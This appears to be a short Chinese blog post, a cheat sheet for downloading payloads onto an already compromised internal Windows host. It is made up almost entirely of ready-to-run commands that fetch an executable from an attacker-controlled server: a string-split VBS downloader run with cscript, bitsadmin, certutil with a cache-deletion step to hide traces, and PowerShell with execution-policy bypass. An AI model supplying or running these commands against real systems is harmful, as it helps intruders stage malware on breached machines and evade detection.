内网windows主机下载payload

当获取到内网一台windows主机时,其不能上传shell,可以执行命令,这时候可以上传或者从我们的服务器上下载payload

1、vbs

#首先先向windows写入一个vbs脚本
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2  >> downfile.vbs 

#利用windows自带的cscript执行vbs和脚本下载指定文件到windows指定位置
cscript downfile.vbs http://192.168.6.154/zwish.exe C:/Users/zw/Desktop/target.exe

2、bitsadmin

这是windows自带的工具,Windows xp以后的版本中自带该工具,例如Windows Update程序就依靠它来下载文件,但比较慢

bitsadmin /transfer 111 http://192.168.6.154/index.html C:\Users\zw\Desktop\index.html

#111为任务号

3、certutil

这也是windows自带的一款工具,可用于在Windows中管理证书,CertUtil的一个特性是能够从远程URL下载证书或任何其他文件。

certutil -urlcache -split -f http://192.168.6.154/zwish.exe

#这种下载方法默认会留下缓存,下载完成后通过delete参数清除缓存
certutil -urlcache -split -f http://192.168.6.154/zwish.exe delete

4、powershell

这个耳熟能详了,Powershell在windows server 2003以后版本的操作系统中默认是自带的

powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('http://192.168.6.154/zwish.exe','C:/Users/zw/Desktop/zwish1.exe');

后续补充......

posted @ 2020-07-29 21:39  zw1sh  阅读(548)  评论(0编辑  收藏  举报